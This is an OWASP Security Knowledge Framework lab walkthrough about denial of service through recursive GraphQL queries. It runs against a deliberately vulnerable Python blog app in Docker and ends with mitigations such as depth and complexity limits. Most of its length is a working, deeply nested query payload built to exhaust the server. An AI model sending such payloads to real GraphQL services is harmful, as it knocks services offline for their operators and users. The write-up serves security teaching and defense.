Python - GraphQL DOS

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:graphql-dos-resource-exhaustion

$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:graphql-dos-resource-exhaustion

Now that the app is running let's go hacking!

Reconnaissance

The application implements a small blog where only admin profiles can create posts. Non authenticated users can only read the latest posts.

When we navigate to http://0.0.0.0:5000/ the frontend asks the application for the latest posts using the GraphQL query

query: "{
	allPosts {
		edges {
			node {
				title
				body
				users
					{ username }
				}
			}
		}
	}"

The response will contain all the latest posts:

{
  "data": {
    "allPosts": {
      "edges": [
        {
          "node": {
            "title": "Hello World",
            "body": "This is the first post of jhon",
            "users": {
              "username": "johndoe"
            }
          }
        },
        {
          "node": {
            "title": "Woooow",
            "body": "I'm the maaaaask",
            "users": {
              "username": "jimcarry"
            }
          }
        },
        {
          "node": {
            "title": "Second Post Jhon",
            "body": "This is the second post of jhon",
            "users": {
              "username": "johndoe"
            }
          }
        }
      ]
    }
  }
}

What can go wrong here?

If we look at the two classes Users and Post:

class User(db.Model):
    __tablename__ = 'users'
    uuid = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(256), index=True, unique=True)
    posts = db.relationship('Post', backref='users') ## HERE is the problem, that enables to create recursive queries

    def __repr__(self):
        return '<User %r>' % self.username

class Post(db.Model):
    __tablename__ = 'posts'
    uuid = db.Column(db.Integer, primary_key=True)
    title = db.Column(db.String(256), index=True)
    body = db.Column(db.Text)
    author_id = db.Column(db.Integer, db.ForeignKey('users.uuid'))
    author = db.relationship('User', backref='post')

    def __repr__(self):
        return '<Post %r>' % self.title

we can see that each User can have multiple Post and each Post is assigned to an User. If we reflect this in GraphQL language, each posts node will have a user node that will have multiple posts node that will belong to a user that will ........... and so on. So we are allowed to create nested querie.

Exploitation

Let's exploit it!

If you go to http://localhost:5000/graphql, you can play with the graphql queries to understand better what's happening.

If we craft a malicious payload like:

{
  allUsers {
    edges {
      node {
        username
        posts {
          edges {
            node {
              title
              authorId
              users {
                username
                posts {
                  edges {
                    node {
                      title
                      body
                      users {
                        username
                        uuid
                        username
                        uuid
                        posts {
                          edges {
                            node {
                              title
                              body
                              users {
                                username
                                posts {
                                  edges {
                                    node {
                                      title
                                      body
                                      users {
                                        posts {
                                          edges {
                                            node {
                                              users {
                                                posts {
                                                  edges {
                                                    node {
                                                      body
                                                      users {
                                                        posts {
                                                          edges {
                                                            node {
                                                              body
                                                              users {
                                                                posts {
                                                                  edges {
                                                                    node {
                                                                      body
                                                                      users {
                                                                        posts {
                                                                          edges {
                                                                            node {
                                                                              body
                                                                              users {
                                                                                posts {
                                                                                  edges {
                                                                                    node {
                                                                                      body
                                                                                      users {
                                                                                        posts {
                                                                                          edges {
                                                                                            node {
                                                                                              body
                                                                                              users {
                                                                                                posts {
                                                                                                  edges {
                                                                                                    node {
                                                                                                      body
                                                                                                      users {
                                                                                                        posts {
                                                                                                          edges {
                                                                                                            node {
                                                                                                              body
                                                                                                              users {
                                                                                                                posts {
                                                                                                                  edges {
                                                                                                                    node {
                                                                                                                      body
                                                                                                                      users {
                                                                                                                        posts {
                                                                                                                          edges {
                                                                                                                            node {
                                                                                                                              body
                                                                                                                              users {
                                                                                                                                posts {
                                                                                                                                  edges {
                                                                                                                                    node {
                                                                                                                                      body
                                                                                                                                      users {
                                                                                                                                        posts {
                                                                                                                                          edges {
                                                                                                                                            node {
                                                                                                                                              body
                                                                                                                                              users {
                                                                                                                                                posts {
                                                                                                                                                  edges {
                                                                                                                                                    node {
                                                                                                                                                      body
                                                                                                                                                      users {
                                                                                                                                                        posts {
                                                                                                                                                          edges {
                                                                                                                                                            node {
                                                                                                                                                              body
                                                                                                                                                              users {
                                                                                                                                                                posts {
                                                                                                                                                                  edges {
                                                                                                                                                                    node {
                                                                                                                                                                      body
                                                                                                                                                                      users {
                                                                                                                                                                        posts {
                                                                                                                                                                          edges {
                                                                                                                                                                            node {
                                                                                                                                                                              body
                                                                                                                                                                              users {
                                                                                                                                                                                posts {
                                                                                                                                                                                  edges {
                                                                                                                                                                                    node {
                                                                                                                                                                                      body
                                                                                                                                                                                      users {
                                                                                                                                                                                        posts {
                                                                                                                                                                                          edges {
                                                                                                                                                                                            node {
                                                                                                                                                                                              body
                                                                                                                                                                                              users {
                                                                                                                                                                                                posts {
                                                                                                                                                                                                  edges {
                                                                                                                                                                                                    node {
                                                                                                                                                                                                      body
                                                                                                                                                                                                      users {
                                                                                                                                                                                                        posts {
                                                                                                                                                                                                          edges {
                                                                                                                                                                                                            node {
                                                                                                                                                                                                              body
                                                                                                                                                                                                            }
                                                                                                                                                                                                          }
                                                                                                                                                                                                        }
                                                                                                                                                                                                      }
                                                                                                                                                                                                    }
                                                                                                                                                                                                  }
                                                                                                                                                                                                }
                                                                                                                                                                                              }
                                                                                                                                                                                            }
                                                                                                                                                                                          }
                                                                                                                                                                                        }
                                                                                                                                                                                      }
                                                                                                                                                                                    }
                                                                                                                                                                                  }
                                                                                                                                                                                }
                                                                                                                                                                              }
                                                                                                                                                                            }
                                                                                                                                                                          }
                                                                                                                                                                        }
                                                                                                                                                                      }
                                                                                                                                                                    }
                                                                                                                                                                  }
                                                                                                                                                                }
                                                                                                                                                              }
                                                                                                                                                            }
                                                                                                                                                          }
                                                                                                                                                        }
                                                                                                                                                      }
                                                                                                                                                    }
                                                                                                                                                  }
                                                                                                                                                }
                                                                                                                                              }
                                                                                                                                            }
                                                                                                                                          }
                                                                                                                                        }
                                                                                                                                      }
                                                                                                                                    }
                                                                                                                                  }
                                                                                                                                }
                                                                                                                              }
                                                                                                                            }
                                                                                                                          }
                                                                                                                        }
                                                                                                                      }
                                                                                                                    }
                                                                                                                  }
                                                                                                                }
                                                                                                              }
                                                                                                            }
                                                                                                          }
                                                                                                        }
                                                                                                      }
                                                                                                    }
                                                                                                  }
                                                                                                }
                                                                                              }
                                                                                            }
                                                                                          }
                                                                                        }
                                                                                      }
                                                                                    }
                                                                                  }
                                                                                }
                                                                              }
                                                                            }
                                                                          }
                                                                        }
                                                                      }
                                                                    }
                                                                  }
                                                                }
                                                              }
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

we can make the application explode, while trying to resolve all the possible queries. Each new query will add exponential complexity to our query.

Solution

To avoid DoS issues while still having nested queries, there are different possibilities:

• Limit Maximum Query Depth

• Calculate Query Complexity

• Throttling Based on Server Time

• Audit your query before production

Few tools available online are:

• https://www.npmjs.com/package/graphql-validation-complexity

• https://github.com/4Catalyzer/graphql-validation-complexity

• https://github.com/slicknode/graphql-query-complexity

Additional resources